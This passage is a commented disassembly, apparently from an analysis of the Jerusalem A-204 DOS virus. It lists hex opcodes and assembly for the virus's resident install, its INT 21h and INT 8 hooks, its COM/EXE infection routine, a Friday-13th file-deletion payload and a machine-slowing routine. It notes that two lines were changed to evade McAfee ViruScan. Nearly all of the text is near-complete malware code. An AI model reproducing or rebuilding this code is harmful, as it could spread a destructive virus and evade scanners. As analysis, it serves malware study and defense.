; Storing place for DX of ASCIZ-Filename +0182 dw 1A 9B ; Storing place for DS of ASCIZ-Filename + +0184 db 43,4F,4D,4D,41,4E,44,2E,43,4F,4D ; COMMAND.COM + ; May not become infected + +018F dw 01 00 ; Storing place for variable-result of free-memory-scan + ; 0000h : not enough memory available + ; 0001h : enough memory available + +0191 00 00 00 00 + +0195 FC CLD ; Clear Direct +0196 B4 E0 MOV AH,0E0 ; This is the check if the +0198 CD 21 INT 021 ; virus is already active + ; in memory. INT 21h with + ; AH=E0h will return AX=0300h + ; if the virus is active. +019A 80 FC E0 CMP AH,0E0 ; AH>=E0h? +019D 73 16 JAE 01B5 ; Yes: -> 01B5h +019F 80 FC 03 CMP AH,3 ; AH<-03h? +01A2 72 11 JB 01B5 ; Yes: -> 01B5h + ; INT 21h with AH= + ; DDh,DEh,E0h + ; are self-defined. + + ; SetUp for + ; Executing original program + ; We come here if an infected + ; program is executed and the + ; virus is already active in + ; memory. +01A4 B4 DD MOV AH,0DD ; +01A6 BF 00 01 MOV DI,0100 ; Destination Index = 0100h +01A9 BE 10 07 MOV SI,0710 ; Source Index = 0710h +01AC 03 F7 ADD SI,DI ; Source Index:= 0810h + ; At this place the original + ; Program is located +01AE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=20h (length original + ; Program) +01B3 CD 21 INT 021 ; + + ; Here we come when the virus + ; is not yet in memory +01B5 8C C8 MOV AX,CS ; AX=Code Segment +01B7 05 10 00 ADD AX,010 ; AX:=AX+10h +01BA 8E D0 MOV SS,AX ; Stack Segment:=AX +01BC BC 00 07 MOV SP,0700 ; StackPointer = 0700h +01BF 50 PUSH AX ; Store AX +01C0 B8 C5 00 MOV AX,0C5 ; AX = C5h +01C3 50 PUSH AX ; Store AX +01C4 CB RETF ; -> C5h + +01C5 FC CLD ; Clear Direct +01C6 06 PUSH ES ; Store ES +01C7 2E 8C 06 31 00 CS MOV W[031],ES ; Store ES +01CC 2E 8C 06 39 00 CS MOV W[039],ES ; in storage places +01D1 2E 8C 06 3D 00 CS MOV W[03D],ES ; +01D6 2E 8C 06 41 00 CS MOV W[041],ES ; +01DB 8C C0 MOV AX,ES ; AX=ES +01DD 05 10 00 ADD AX,010 ; AX=AX+10h +01E0 2E 01 06 49 00 CS ADD W[049],AX ; Add AX (ES+10h) to 0149h +01E5 2E 01 06 45 00 CS ADD W[045],AX ; and 0145h +01EA B4 E0 MOV AH,0E0 ; AH=E0h (Self defined) +01EC CD 21 INT 021 ; CALL INT 21h + +01EE 80 FC E0 CMP AH,0E0 ; AH>=0Eh? +01F1 73 13 JAE 0206 ; Yes: -> 0206 +01F3 80 FC 03 CMP AH,3 ; AH=03h? Must be if the + ; viruscode is in memory + ; and interrupt 21h is called + ; with AH=E0h. + +01F6 07 POP ES ; Restore original ES +01F7 2E 8E 16 45 00 CS MOV SS,W[045] ; SS=ES+10h +01FC 2E 8B 26 43 00 CS MOV SP,W[043] ; +0201 2E FF 2E 47 00 CS JMP D[047] ; + +0206 33 C0 XOR AX,AX ; AX=0000h +0208 8E C0 MOV ES,AX ; ES=0000h +020A 26 A1 FC 03 ES MOV AX,W[03FC] + + ; Here the A-204 variant + ; differs for the first + ; time from the original + ; Jerusalem Version B virus. +020E 26 A0 FE 03 ES MOV AL,B[03FE] ; These two line have been +0212 2E A3 4B 00 CS MOV W[04B],AX ; changed in order + ; to avoid being + ; detected by ViruScan from + ; John McAfee. + +0216 2E A2 4D 00 CS MOV B[04D],AL +021A 26 C7 06 FC 03 F3 A5 ES MOV W[03FC],0A5F3 +0221 26 C6 06 FE 03 CB ES MOV B[03FE],0CB +0227 58 POP AX +0228 05 10 00 ADD AX,010 +022B 8E C0 MOV ES,AX +022D 0E PUSH CS ; Store CS +022E 1F POP DS ; DS=CS +022F B9 10 07 MOV CX,0710 ; CX=0710h +0232 D1 E9 SHR CX,1 ; CX >> 1 (CX:=0308h) +0234 33 F6 XOR SI,SI ; SI=0000h +0236 8B FE MOV DI,SI ; DI=0000h +0238 06 PUSH ES ; Store ES +0239 B8 42 01 MOV AX,0142 ; AX=0142h +023C 50 PUSH AX ; Store AX +023D EA FC 03 00 00 JMP 0:03FC + +0242 8C C8 MOV AX,CS ; AX=CS +0244 8E D0 MOV SS,AX ; SS=CS +0246 BC 00 07 MOV SP,0700 ; SP=0700h +0249 33 C0 XOR AX,AX ; AX=0000h +024B 8E D8 MOV DS,AX ; DS=0000h +024D 2E A1 4B 00 CS MOV AX,W[04B] ; Restore AX +0251 A3 FC 03 MOV W[03FC],AX ; Store AX +0254 2E A0 4D 00 CS MOV AL,B[04D] ; Restore AL +0258 A2 FE 03 MOV B[03FE],AL ; Store AL +025B 8B DC MOV BX,SP ; BX=SP +025D B1 04 MOV CL,4 ; CL=04h +025F D3 EB SHR BX,CL ; BX >> 4 +0261 83 C3 10 ADD BX,010 ; BX=BX+10h +0264 2E 89 1E 33 00 CS MOV W[033],BX ; Store BX. Why I don't know, + ; the storing place is never + ; read again +0269 B4 4A MOV AH,04A ; +026B 2E 8E 06 31 00 CS MOV ES,W[031] ; Restore ES +0270 CD 21 INT 021 ; Adjust Memory Block Size + ; (SETBLOCK) + +0272 B8 21 35 MOV AX,03521 ; Get original INT 21h +0275 CD 21 INT 021 ; vector + +0277 2E 89 1E 17 00 CS MOV W[017],BX ; Store BX and ES of INT 21h +027C 2E 8C 06 19 00 CS MOV W[019],ES ; vector +0281 0E PUSH CS ; Store CS +0282 1F POP DS ; DS=CS +0283 BA 5B 02 MOV DX,025B ; DX=025Bh +0286 B8 21 25 MOV AX,02521 ; Set new INT 21h +0289 CD 21 INT 021 ; vector on DS:025Bh + +028B 8E 06 31 00 MOV ES,W[031] ; Restore original ES +028F 26 8E 06 2C 00 ES MOV ES,W[02C] ; +0294 33 FF XOR DI,DI ; DI=0000h +0296 B9 FF 7F MOV CX,07FFF ; CX=7FFFh +0299 32 C0 XOR AL,AL ; AL=0000h +029B F2 AE REPNE SCASB ; +029D 26 38 05 ES CMP B[DI],AL ; +02A0 E0 F9 LOOPNE 029B ; No Flags: DEC CX -> 02A2h + ; IF CX<>0 and not equal + ; -> 029B +02A2 8B D7 MOV DX,DI ; DX=DI +02A4 83 C2 03 ADD DX,3 ; DX=DX+03h +02A7 B8 00 4B MOV AX,04B00 ; AX=4B00h +02AA 06 PUSH ES ; Store ES +02AB 1F POP DS ; Restore DS (DS:=ES) +02AC 0E PUSH CS ; Store CS +02AD 07 POP ES ; Restore ES (ES:=CS) +02AE BB 35 00 MOV BX,035 ; BX=35h +02B1 1E PUSH DS ; Store Registers +02B2 06 PUSH ES +02B3 50 PUSH AX +02B4 53 PUSH BX +02B5 51 PUSH CX +02B6 52 PUSH DX + +02B7 B4 2A MOV AH,02A ; Get Current Date +02B9 CD 21 INT 021 ; DL=day + ; DH=month + ; CX=year + ; AL=Day of the week + +02BB 2E C6 06 0E 00 00 CS MOV B[0E],0 ; Set Trigger for deleting + ; infected files to 00h +02C1 81 F9 C3 07 CMP CX,07C3 ; Is year 1987 ? +02C5 74 30 JE 02F7 ; Yes: -> 02F7h +02C7 3C 05 CMP AL,5 ; Is it Friday ? +02C9 75 0D JNE 02D8 ; No: -> 02D8h +02CB 80 FA 0D CMP DL,0D ; Is it 13th ? +02CE 75 08 JNE 02D8 ; No: -> 02D8h + ; Yes: it is Friday + ; the 13th and the + ; year is not equal 1987 +02D0 2E FE 06 0E 00 CS INC B[0E] ; Set Trigger for deleting + ; infected files to 01h +02D5 EB 20 JMP 02F7 ; JUMP -> 02F7h + +02D7 90 NOP + +02D8 B8 08 35 MOV AX,03508 ; Get original INT 8h +02DB CD 21 INT 021 ; vector + +02DD 2E 89 1E 13 00 CS MOV W[013],BX ; Store original BX +02E2 2E 8C 06 15 00 CS MOV W[015],ES ; and ES of INT 08h vector +02E7 0E PUSH CS +02E8 1F POP DS +02E9 C7 06 1F 00 90 7E MOV W[01F],07E90 ; Store 30d minutes into + ; timer interrupt. This + ; value is decreased by + ; one 18.2 times per second +02EF B8 08 25 MOV AX,02508 ; Set new INT 8h vector +02F2 BA 1E 02 MOV DX,021E ; to DS:021Eh +02F5 CD 21 INT 021 ; + +02F7 5A POP DX ; Restore Registers +02F8 59 POP CX +02F9 5B POP BX +02FA 58 POP AX +02FB 07 POP ES +02FC 1F POP DS +02FD 9C PUSHF ; Store Flags +02FE 2E FF 1E 17 00 CS CALL D[017] ; Call original INT 21h + ; address + +0303 1E PUSH DS ; Restore DS +0304 07 POP ES ; Store ES +0305 B4 49 MOV AH,049 ; Free Memory +0307 CD 21 INT 021 ; + +0309 B4 4D MOV AH,04D ; Get ExitCode of +030B CD 21 INT 021 ; SubProgram (WAIT) + ; Stored in AL + +030D B4 31 MOV AH,031 ; AX=31[AL]h +030F BA 00 06 MOV DX,0600 ; DX=600h +0312 B1 04 MOV CL,4 ; CL=04h +0314 D3 EA SHR DX,CL ; DX >> 4 (DX=60H) +0316 83 C2 10 ADD DX,010 ; DX=DX+10h (DX=70h) + ; Program Size in Paragraphs + ; is 70h Bytes +0319 CD 21 INT 021 ; Terminate but Stay Resident + +031B 32 C0 XOR AL,AL ; Clear AL +031D CF IRET ; Interrupt Return + + ; 031Eh is the new INT 08h + ; vector. This routine is + ; called 18.2 times per + ; second +031E 2E 83 3E 1F 00 02 CS CMP W[01F],2 ; Timer decreased til 02h? +0324 75 17 JNE 033D ; No: -> 033D + + ; Yes: now 32 minutes are + ; passed since infection +0326 50 PUSH AX ; Store Registers +0327 53 PUSH BX +0328 51 PUSH CX +0329 52 PUSH DX +032A 55 PUSH BP + +032B B8 02 06 MOV AX,0602 ; Scroll box with coordinates +032E B7 87 MOV BH,087 ; (5h,5h),(10h,10h) two +0330 B9 05 05 MOV CX,0505 ; lines upwards +0333 BA 10 10 MOV DX,01010 ; +0336 CD 10 INT 010 ; + +0338 5D POP BP ; Restore Registers +0339 5A POP DX +033A 59 POP CX +033B 5B POP BX +033C 58 POP AX +033D 2E FF 0E 1F 00 CS DEC W[01F] ; Decrease Timer-Trigger + ; This now becomes 01h +0342 75 12 JNE 0356 ; If 0: -> 0356h +0344 2E C7 06 1F 00 01 00 CS MOV W[01F],1 ; Timer-Trigger set to 01h +034B 50 PUSH AX ; Store AX +034C 51 PUSH CX ; Store CX +034D 56 PUSH SI ; Store SI +034E B9 01 40 MOV CX,04001 ; CX=4001h +0351 F3 AC REP LODSB ; Load byte [SI] into AL and + ; advance SI, done CX times. + ; This is the routine which + ; decreases the speed of the + ; machine til 1/5th of the + ; original. 32 minutes after + ; infection this routine is + ; executes 18.2 times a second +0353 5E POP SI ; Restore SI +0354 59 POP CX ; Restore CX +0355 58 POP AX ; Restore AX +0356 2E FF 2E 13 00 CS JMP D[013] ; Jump to original INT 08h + ; address + + ; Here we come if INT 21h is + ; called +035B 9C PUSHF ; Store Flags +035C 80 FC E0 CMP AH,0E0 ; AH=0Eh ? +035F 75 05 JNE 0366 ; No: -> 0366h +0361 B8 00 03 MOV AX,0300 ; AX=0300h +0364 9D POPF ; Restore Flags +0365 CF IRET ; Interrupt Return + +0366 80 FC DD CMP AH,0DD ; AH=DDh? +0369 74 13 JE 037E ; Yes: -> 037Eh +036B 80 FC DE CMP AH,0DE ; AH=DEh? +036E 74 28 JE 0398 ; Yes: -> 0398h + ; INT 21h is never called + ; with AH=DEh. So the routine + ; at 0398h is never used + ; (seems) + +0370 3D 00 4B CMP AX,04B00 ; Load & Execute ? +0373 75 03 JNE 0378 ; No: -> 0378h +0375 E9 B4 00 JMP 042C ; Yes: -> 042Ch +0378 9D POPF ; Restore Flags +0379 2E FF 2E 17 00 CS JMP D[017] ; Jmp to original + ; INT 21h address + + ; Execute original program +037E 58 POP AX +037F 58 POP AX ; Restore AX +0380 B8 00 01 MOV AX,0100 ; AX=0100h +0383 2E A3 0A 00 CS MOV W[0A],AX ; Store AX +0387 58 POP AX ; Restore AX +0388 2E A3 0C 00 CS MOV W[0C],AX ; Store AX +038C F3 A4 REP MOVSB ; +038E 9D POPF ; Restore Flags +038F 2E A1 0F 00 CS MOV AX,W[0F] ; AX=0000h +0393 2E FF 2E 0A 00 CS JMP D[0A] ; JUMP -> CS:0100h + ; This executes the original + ; program + + + ; This routine is called + ; when INT 21h with AH=DEh + ; is called which never + ; happens in the code. I + ; have to investigate it + ; a bit more. Til then + ; it remains without comments. +0398 83 C4 06 ADD SP,6 +039B 9D POPF +039C 8C C8 MOV AX,CS +039E 8E D0 MOV SS,AX +03A0 BC 10 07 MOV SP,0710 +03A3 06 PUSH ES +03A4 06 PUSH ES +03A5 33 FF XOR DI,DI +03A7 0E PUSH CS +03A8 07 POP ES +03A9 B9 10 00 MOV CX,010 +03AC 8B F3 MOV SI,BX +03AE BF 21 00 MOV DI,021 +03B1 F3 A4 REP MOVSB +03B3 8C D8 MOV AX,DS +03B5 8E C0 MOV ES,AX +03B7 2E F7 26 7A 00 CS MUL W[07A] +03BC 2E 03 06 2B 00 CS ADD AX,W[02B] +03C1 83 D2 00 ADC DX,0 +03C4 2E F7 36 7A 00 CS DIV W[07A] +03C9 8E D8 MOV DS,AX +03CB 8B F2 MOV SI,DX +03CD 8B FA MOV DI,DX +03CF 8C C5 MOV BP,ES +03D1 2E 8B 1E 2F 00 CS MOV BX,W[02F] +03D6 0B DB OR BX,BX +03D8 74 13 JE 03ED +03DA B9 00 80 MOV CX,08000 +03DD F3 A5 REP MOVSW +03DF 05 00 10 ADD AX,01000 +03E2 81 C5 00 10 ADD BP,01000 +03E6 8E D8 MOV DS,AX +03E8 8E C5 MOV ES,BP +03EA 4B DEC BX +03EB 75 ED JNE 03DA +03ED 2E 8B 0E 2D 00 CS MOV CX,W[02D] +03F2 F3 A4 REP MOVSB +03F4 58 POP AX +03F5 50 PUSH AX +03F6 05 10 00 ADD AX,010 +03F9 2E 01 06 29 00 CS ADD W[029],AX +03FE 2E 01 06 25 00 CS ADD W[025],AX +0403 2E A1 21 00 CS MOV AX,W[021] +0407 1F POP DS +0408 07 POP ES +0409 2E 8E 16 29 00 CS MOV SS,W[029] +040E 2E 8B 26 27 00 CS MOV SP,W[027] +0413 2E FF 2E 23 00 CS JMP D[023] + + ; We come here if B[0Eh]=1, + ; which means Friday 13th, + ; year<>1987. This routine + ; deletes the loaded file. +0418 33 C9 XOR CX,CX ; Clear all bits of the File + ; Attribute +041A B8 01 43 MOV AX,04301 ; +041D CD 21 INT 021 ; Put File Atributes + +041F B4 41 MOV AH,041 ; +0421 CD 21 INT 021 ; Delete a File (Unlink) + +0423 B8 00 4B MOV AX,04B00 + +0426 9D POPF ; Get Flags +0427 2E FF 2E 17 00 CS JMP D[017] + + ; We come here each time a + ; file is loaded with the + ; load and execute call + ; (INT 21h, AX=4B00h) +042C 2E 80 3E 0E 00 01 CS CMP B[0E],1 ; Is it Friday 13th, + ; year<>1987? +0432 74 E4 JE 0418 ; Yes: -> 0418h +0434 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle -1 ??? +043B 2E C7 06 8F 00 00 00 CS MOV W[08F],0 ; Clear Memory-Available + ; variable +0442 2E 89 16 80 00 CS MOV W[080],DX ; DS:DX -> ASCIZ Filename, +0447 2E 8C 1E 82 00 CS MOV W[082],DS ; Store DX and DS +044C 50 PUSH AX +044D 53 PUSH BX +044E 51 PUSH CX +044F 52 PUSH DX +0450 56 PUSH SI +0451 57 PUSH DI +0452 1E PUSH DS +0453 06 PUSH ES +0454 FC CLD +0455 8B FA MOV DI,DX ; +0457 32 D2 XOR DL,DL ; DL=00h : Take Default Drive +0459 80 7D 01 3A CMP B[DI+1],03A ; ':' at 2nd place in ASCIZ- + ; filename +045D 75 05 JNE 0464 ; No: -> 0464h +045F 8A 15 MOV DL,B[DI] ; Get Drive Letter +0461 80 E2 1F AND DL,01F ; Get Drive Code + ; 0 = Default + ; 1 = A + ; 2 = B, etc. +0464 B4 36 MOV AH,036 ; +0466 CD 21 INT 021 ; Get disk space + ; BX=# of available clusters + ; CX=Bytes per sector + ; DX=Total clusters + +0468 3D FF FF CMP AX,-1 ; No Sectors Free? +046B 75 03 JNE 0470 ; No: -> 0470h +046D E9 77 02 JMP 06E7 ; Yes: -> 06E7h + + +0470 F7 E3 MUL BX ; Calculate Free Space +0472 F7 E1 MUL CX ; +0474 0B D2 OR DX,DX ; +0476 75 05 JNE 047D ; +0478 3D 10 07 CMP AX,0710 ; 1808 Bytes Free? +047B 72 F0 JB 046D ; No: -> 046Dh +047D 2E 8B 16 80 00 CS MOV DX,W[080] ; Restore DX's ASCIZ Filename +0482 1E PUSH DS +0483 07 POP ES +0484 32 C0 XOR AL,AL ; AL=00h +0486 B9 41 00 MOV CX,041 ; +0489 F2 AE REPNE SCASB ; Check if filename +048B 2E 8B 36 80 00 CS MOV SI,W[080] ; is in UPPERCASE +0490 8A 04 MOV AL,B[SI] ; +0492 0A C0 OR AL,AL ; All UPPERRCASE? +0494 74 0E JE 04A4 ; IF so: -> 04A4h +0496 3C 61 CMP AL,061 ; AL<'a' ? +0498 72 07 JB 04A1 ; Yes: -> 04A1h +049A 3C 7A CMP AL,07A ; AL>'z' ? +049C 77 03 JA 04A1 ; Yes: -> 04A1h +049E 80 2C 20 SUB B[SI],020 ; Transfer filename + ; into UPPERCASE +04A1 46 INC SI ; SI=SI+1 +04A2 EB EC JMP 0490 + +04A4 B9 0B 00 MOV CX,0B ; CX=0Bh +04A7 2B F1 SUB SI,CX ; Return SI to start + ; of Filename +04A9 BF 84 00 MOV DI,084 ; Start of COMMAND.COM + ; filename +04AC 0E PUSH CS +04AD 07 POP ES +04AE B9 0B 00 MOV CX,0B +04B1 F3 A6 REPE CMPSB ; Filename=COMMAND.COM ? +04B3 75 03 JNE 04B8 ; No: -> 04B8h +04B5 E9 2F 02 JMP 06E7 ; Yes: -> 06E7h + + ; We come here if the + ; loaded program is not + ; COMMAND.COM +04B8 B8 00 43 MOV AX,04300 ; +04BB CD 21 INT 021 ; Get File Attributes + +04BD 72 05 JB 04C4 ; If Error: -> 04C4h +04BF 2E 89 0E 72 00 CS MOV W[072],CX ; Store File Attributes +04C4 72 25 JB 04EB ; If Error: -> 04EBh +04C6 32 C0 XOR AL,AL ; AL=00h +04C8 2E A2 4E 00 CS MOV B[04E],AL ; Dummy=0 +04CC 1E PUSH DS ; +04CD 07 POP ES ; +04CE 8B FA MOV DI,DX ; +04D0 B9 41 00 MOV CX,041 ; +04D3 F2 AE REPNE SCASB ; +04D5 80 7D FE 4D CMP B[DI-2],04D ; "M" ? +04D9 74 0B JE 04E6 ; Yes: -> 04E6h +04DB 80 7D FE 6D CMP B[DI-2],06D ; "m" ? +04DF 74 05 JE 04E6 ; Yes: -> 04E6h +04E1 2E FE 06 4E 00 CS INC B[04E] ; Dummy=Dummy+1 +04E6 B8 00 3D MOV AX,03D00 ; Open Disk File with +04E9 CD 21 INT 021 ; handle in compatibility + ; mode + ; DS:DX : -> ASCIZ Filename + +04EB 72 5A JB 0547 ; IF Error: -> 0547h +04ED 2E A3 70 00 CS MOV W[070],AX ; Store File Handle +04F1 8B D8 MOV BX,AX ; BX=File Handle +04F3 B8 02 42 MOV AX,04202 ; Move File Read/Write + ; Pointer (LSEEK) with + ; offset from end of file +04F6 B9 FF FF MOV CX,-1 ; CX:DX = offset in bytes +04F9 BA FB FF MOV DX,-5 ; +04FC CD 21 INT 021 ; + ; DX:AX = new absolute + ; offset from beginning of + ; file + +04FE 72 EB JB 04EB ; If Error: -> 04EBh +0500 05 05 00 ADD AX,5 ; ???? +0503 2E A3 11 00 CS MOV W[011],AX ; Store Length of File + +0507 B9 05 00 MOV CX,5 ; Read from a file with +050A BA 6B 00 MOV DX,06B ; handle BX 5h bytes into +050D 8C C8 MOV AX,CS ; DS:DX buffer +050F 8E D8 MOV DS,AX ; +0511 8E C0 MOV ES,AX ; +0513 B4 3F MOV AH,03F ; +0515 CD 21 INT 021 ; + +0517 8B FA MOV DI,DX ; DI=DX=6Bh +0519 BE 05 00 MOV SI,5 ; SI=05h +051C F3 A6 REPE CMPSB ; Check first 5 bytes to see + ; if a file already is + ; infected +051E 75 07 JNE 0527 ; If not: -> 0527h +0520 B4 3E MOV AH,03E ; Close a file with +0522 CD 21 INT 021 ; handle + +0524 E9 C0 01 JMP 06E7 ; Jump -> 06E7h + +0527 B8 24 35 MOV AX,03524 ; Get original int 24h +052A CD 21 INT 021 ; vector. Stored in ES:BX + +052C 89 1E 1B 00 MOV W[01B],BX ; Store BX of INT 24h vector +0530 8C 06 1D 00 MOV W[01D],ES ; Store ES of INT 24h vector +0534 BA 1B 02 MOV DX,021B ; Set new int 24h vector +0537 B8 24 25 MOV AX,02524 ; to DS:DX +053A CD 21 INT 021 ; + +053C C5 16 80 00 LDS DX,[080] ; DS:DX=Filename +0540 33 C9 XOR CX,CX ; Get fileattributes +0542 B8 01 43 MOV AX,04301 ; Put File Attributes +0545 CD 21 INT 021 ; (CHMOD) + +0547 72 3B JB 0584 ; If Error: -> 0584h +0549 2E 8B 1E 70 00 CS MOV BX,W[070] ; Close a file with +054E B4 3E MOV AH,03E ; handle BX +0550 CD 21 INT 021 ; + +0552 2E C7 06 70 00 FF FF CS MOV W[070],-1 ; File Handle=-1 ??? +0559 B8 02 3D MOV AX,03D02 ; Open File with +055C CD 21 INT 021 ; Handle in READ/WRITE mode + +055E 72 24 JB 0584 ; If Error: -> 0584h +0560 2E A3 70 00 CS MOV W[070],AX ; Store File Handle +0564 8C C8 MOV AX,CS +0566 8E D8 MOV DS,AX +0568 8E C0 MOV ES,AX + +056A 8B 1E 70 00 MOV BX,W[070] ; BX=File Handle +056E B8 00 57 MOV AX,05700 ; Get File' date/time- +0571 CD 21 INT 021 ; stamp + +0573 89 16 74 00 MOV W[074],DX ; Move File Read/Write Pointer +0577 89 0E 76 00 MOV W[076],CX ; (LSEEK) with offset from +057B B8 00 42 MOV AX,04200 ; beginning of file with +057E 33 C9 XOR CX,CX ; CX:DX bytes +0580 8B D1 MOV DX,CX ; +0582 CD 21 INT 021 ; + +0584 72 3D JB 05C3 ; If Error: -> 05C3h +0586 80 3E 4E 00 00 CMP B[04E],0 ; '0'? +058B 74 03 JE 0590 ; Yes: -> 0590h +058D EB 57 JMP 05E6 ; JUMP -> 05E6h + +058F 90 NOP + +0590 BB 00 10 MOV BX,01000 ; Number of 16d-byte para- + ; graphs BX=1000h For COM- + ; files there are 1000h 16d + ; bytes paragrahs available +0593 B4 48 MOV AH,048 ; +0595 CD 21 INT 021 ; Allocate Memory + +0597 73 0B JAE 05A4 ; If enough memory available + ; -> 05A4h +0599 B4 3E MOV AH,03E ; Close a file with +059B 8B 1E 70 00 MOV BX,W[070] ; handle BX +059F CD 21 INT 021 ; + +05A1 E9 43 01 JMP 06E7 ; JUMP -> 06E7h + +05A4 FF 06 8F 00 INC W[08F] ; Set Memory-Available + ; Variable (0001h) +05A8 8E C0 MOV ES,AX ; +05AA 33 F6 XOR SI,SI ; SI=0000h +05AC 8B FE MOV DI,SI ; DI=0000h +05AE B9 10 07 MOV CX,0710 ; CX=0710h (1808d) + ; length of virus +05B1 F3 A4 REP MOVSB ; Put virus code at begin- + ; ning of buffer ES:DI +05B3 8B D7 MOV DX,DI ; DX=DI=0710h +05B5 8B 0E 11 00 MOV CX,W[011] ; Restore Length of File +05B9 8B 1E 70 00 MOV BX,W[070] ; Restore File Handle +05BD 06 PUSH ES ; Read from a file with +05BE 1F POP DS ; handle CX (length +05BF B4 3F MOV AH,03F ; of file) bytes in buffer +05C1 CD 21 INT 021 ; DS:DX + +05C3 72 1C JB 05E1 ; If Error: -> 05E1h +05C5 03 F9 ADD DI,CX ; DI=Length of original + ; file+0710h (length of + ; viruscode)+05h +05C7 33 C9 XOR CX,CX ; CX=0000h +05C9 8B D1 MOV DX,CX ; Move file read/write +05CB B8 00 42 MOV AX,04200 ; pointer with offset from +05CE CD 21 INT 021 ; beginning of file + +05D0 BE 05 00 MOV SI,5 ; +05D3 B9 05 00 MOV CX,5 ; +05D6 F3 2E A4 REP CS MOVSB ; +05D9 8B CF MOV CX,DI ; CX=0715h(1813d)+length of + ; original code +05DB 33 D2 XOR DX,DX ; DX=0000h +05DD B4 40 MOV AH,040 ; Write to file with handle +05DF CD 21 INT 021 ; CX bytes + +05E1 72 0D JB 05F0 ; If Error: -> 05F0h +05E3 E9 BC 00 JMP 06A2 ; JUMP -> 06A2h + +05E6 B9 1C 00 MOV CX,01C ; Read CX (1Ch) bytes from +05E9 BA 4F 00 MOV DX,04F ; file with handle +05EC B4 3F MOV AH,03F ; +05EE CD 21 INT 021 ; + +05F0 72 4A JB 063C ; If Error: -> 063Ch +05F2 C7 06 61 00 84 19 MOV W[061],01984 ; Store 1984h=6532d +05F8 A1 5D 00 MOV AX,W[05D] ; +05FB A3 45 00 MOV W[045],AX ; +05FE A1 5F 00 MOV AX,W[05F] ; +0601 A3 43 00 MOV W[043],AX ; +0604 A1 63 00 MOV AX,W[063] ; +0607 A3 47 00 MOV W[047],AX ; +060A A1 65 00 MOV AX,W[065] ; +060D A3 49 00 MOV W[049],AX ; +0610 A1 53 00 MOV AX,W[053] ; +0613 83 3E 51 00 00 CMP W[051],0 ; '0000'? +0618 74 01 JE 061B ; Yes: -> 061Bh +061A 48 DEC AX ; AX=AX-01h +061B F7 26 78 00 MUL W[078] ; +061F 03 06 51 00 ADD AX,W[051] ; +0623 83 D2 00 ADC DX,0 ; +0626 05 0F 00 ADD AX,0F ; +0629 83 D2 00 ADC DX,0 ; +062C 25 F0 FF AND AX,-010 ; +062F A3 7C 00 MOV W[07C],AX ; Store AX +0632 89 16 7E 00 MOV W[07E],DX ; Store DX +0636 05 10 07 ADD AX,0710 ; AX=AX+1808 +0639 83 D2 00 ADC DX,0 ; +063C 72 3A JB 0678 ; If Error :-> 0678h +063E F7 36 78 00 DIV W[078] ; +0642 0B D2 OR DX,DX ; +0644 74 01 JE 0647 ; +0646 40 INC AX ; AX=AX+01h +0647 A3 53 00 MOV W[053],AX ; +064A 89 16 51 00 MOV W[051],DX ; +064E A1 7C 00 MOV AX,W[07C] ; Restore AX +0651 8B 16 7E 00 MOV DX,W[07E] ; Restore DX +0655 F7 36 7A 00 DIV W[07A] ; +0659 2B 06 57 00 SUB AX,W[057] ; +065D A3 65 00 MOV W[065],AX ; +0660 C7 06 63 00 C5 00 MOV W[063],0C5 ; +0666 A3 5D 00 MOV W[05D],AX ; +0669 C7 06 5F 00 10 07 MOV W[05F],0710 ; +066F 33 C9 XOR CX,CX ; CX=0000h +0671 8B D1 MOV DX,CX ; DX=0000h +0673 B8 00 42 MOV AX,04200 ; Move File Read/Write +0676 CD 21 INT 021 ; pointer to beginning of + ; file + +0678 72 0A JB 0684 ; If Error: -> 0684h +067A B9 1C 00 MOV CX,01C ; CX=1Ch +067D BA 4F 00 MOV DX,04F ; DX=4Fh +0680 B4 40 MOV AH,040 ; Write to file with +0682 CD 21 INT 021 ; handle + +0684 72 11 JB 0697 ; If Error: -> 0697h +0686 3B C1 CMP AX,CX ; Are all bytes written? +0688 75 18 JNE 06A2 ; No: -> 06A2h +068A 8B 16 7C 00 MOV DX,W[07C] ; Restore AX into DX +068E 8B 0E 7E 00 MOV CX,W[07E] ; Restore DX into CX +0692 B8 00 42 MOV AX,04200 +0695 CD 21 INT 021 + +0697 72 09 JB 06A2 ; If Error: -> 06A2h +0699 33 D2 XOR DX,DX ; DX=0000h +069B B9 10 07 MOV CX,0710 ; CX=0710h +069E B4 40 MOV AH,040 +06A0 CD 21 INT 021 + +06A2 2E 83 3E 8F 00 00 CS CMP W[08F],0 ; Not Enough Memory? +06A8 74 04 JE 06AE ; Yes: -> 06AEh +06AA B4 49 MOV AH,049 ; Free memory +06AC CD 21 INT 021 ; + +06AE 2E 83 3E 70 00 FF CS CMP W[070],-1 +06B4 74 31 JE 06E7 +06B6 2E 8B 1E 70 00 CS MOV BX,W[070] ; Restore File Handle +06BB 2E 8B 16 74 00 CS MOV DX,W[074] ; Restore File Date +06C0 2E 8B 0E 76 00 CS MOV CX,W[076] ; Restore File Time +06C5 B8 01 57 MOV AX,05701 ; Set File's Date/Time +06C8 CD 21 INT 021 ; stamp + +06CA B4 3E MOV AH,03E ; Close a file with +06CC CD 21 INT 021 ; handle + +06CE 2E C5 16 80 00 CS LDS DX,[080] ; Get place (DS:DX) of + ; filename +06D3 2E 8B 0E 72 00 CS MOV CX,W[072] ; Restore File Attributes +06D8 B8 01 43 MOV AX,04301 ; Put File Attributes +06DB CD 21 INT 021 ; + +06DD 2E C5 16 1B 00 CS LDS DX,[01B] ; Restore original vector +06E2 B8 24 25 MOV AX,02524 ; of interrupt 24h +06E5 CD 21 INT 021 ; + +06E7 07 POP ES ; Restore Registers +06E8 1F POP DS +06E9 5F POP DI +06EA 5E POP SI +06EB 5A POP DX +06EC 59 POP CX +06ED 5B POP BX +06EE 58 POP AX +06EF 9D POPF ; Restore Flags +06F0 2E FF 2E 17 00 CS JMP D[017] ; Call original INT 21h + ; address which was intercep- + ; ted with the LOAD & EXEC. + ; statement. Which means it + ; will load and execute the + ; selected file + +06F5 00 00 00 00 00 00 00 00 00 00 00 + +0700 4D DE 0C 00 10 00 00 00 00 00 00 00 00 00 00 00 + +0710 E9 92 00 JMP 07A5 ; JUMP -> 07A5h + +0711h til 07A4h are the same definition words/bytes as at 0103h til 0194h + +07A5 FC CLD +07A6 B4 E0 MOV AH,0E0 +07A8 CD 21 INT 021 + +07AA 80 FC E0 CMP AH,0E0 ; AH>=E0h? +07AD 73 16 JAE 07C5 ; Yes: -> 07C5h +07AF 80 FC 03 CMP AH,3 ; AH<03h +07B2 72 11 JB 07C5 ; Yes: -> 07C5h + ; The only way that the + ; code get passed here if + ; the virus is active in + ; memory. 